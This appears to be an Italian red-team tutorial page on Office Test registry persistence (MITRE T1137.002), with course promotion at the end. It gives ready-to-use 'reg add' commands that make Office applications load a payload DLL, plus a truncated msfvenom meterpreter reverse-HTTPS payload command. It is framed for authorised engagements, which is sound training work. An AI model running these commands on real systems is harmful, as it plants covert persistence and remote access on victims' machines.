Persistenza via Office Test: Office Test (T1137.002)
La tecnica T1137.002 — Office Test sfrutta una chiave di Registro poco conosciuta di Microsoft Office, pensata originariamente dagli sviluppatori Microsoft per caricare DLL di debug e testing durante lo sviluppo del pacchetto Office. La chiave non viene creata di default in un'installazione standard, ma se presente istruisce ogni applicazione Office (Word, Excel, PowerPoint, Outlook) a caricare una DLL arbitraria a ogni avvio del processo.
L'abuso rientra nella tattica TA0003 (Persistence) e rappresenta un meccanismo particolarmente elegante per un attaccante: non richiede macro, non genera banner di sicurezza, non modifica template ADDIN né plugin COM visibili nel menu opzioni. Le due chiavi rilevanti sono HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf per il contesto utente e HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf per l'installazione globale. La variante HKCU è particolarmente attraente perché non richiede privilegi amministrativi.
L'impatto è significativo per due motivi. Primo, la persistenza sopravvive a riavvii e cambi di credenziali finché l'utente continua ad aprire documenti Office, evento pressoché quotidiano in ambienti enterprise. Secondo, l'esecuzione avviene nel contesto di un processo Office firmato Microsoft, offrendo una copertura di legittimità che aiuta ad aggirare regole EDR basate su reputazione. Il gruppo APT28 ha adottato pubblicamente questo meccanismo, elevandolo da curiosità tecnica a TTP operativa in campagne di cyber-espionage state-sponsored.
In un ingaggio red team, l'abuso di Office Test si presta a scenari di persistenza post-exploitation a bassa visibilità. La catena tipica prevede tre fasi: preparazione della DLL payload, scrittura della chiave di Registro e trigger via apertura di documento Office.
Per la generazione della DLL puoi usare msfvenom (open source, incluso in Metasploit Framework) con una sintassi del tipo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=
La scrittura della chiave in contesto utente non richiede privilegi elevati:
reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
Il valore di default (unnamed) della sottochiave Perf punta al path assoluto della DLL. Piazzare il payload in directory user-writable come %APPDATA%, %TEMP% o C:\Users\Public evita il requisito di elevazione. In alternativa, per la variante globale che colpisce tutti gli utenti della macchina serve un contesto SYSTEM o admin: reg add "HKLM\Software\Microsoft\Office test\Special\Perf" /ve /t REG_SZ /d "C:\ProgramData\payload.dll" /f.
Il trigger è semplicemente l'apertura di qualsiasi applicazione Office. In un exercise controllato puoi automatizzare la validazione lanciando start winword.exe e osservando il callback C2. Alcuni operatori embedano la scrittura della chiave dentro un payload di stage-1 delivered via phishing, in modo che la persistenza si attivi non appena l'utente riapre Word dopo aver chiuso l'esca.
Per post-exploitation più raffinato, Empire (open source, mantenuto da BC Security) e Covenant (open source) offrono moduli specifici di persistenza Office Test che gestiscono automaticamente la generazione della DLL, la scrittura del Registry e il cleanup. Atomic Red Team (open source, di Red Canary) include il test T1137.002 con procedura riproducibile in laboratorio.
Regola d'ingaggio importante: documenta sempre la chiave scritta e prevedi cleanup automatico via reg delete, perché la persistenza sopravvive alla fine dell'engagement e può interferire con operazioni successive del cliente.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.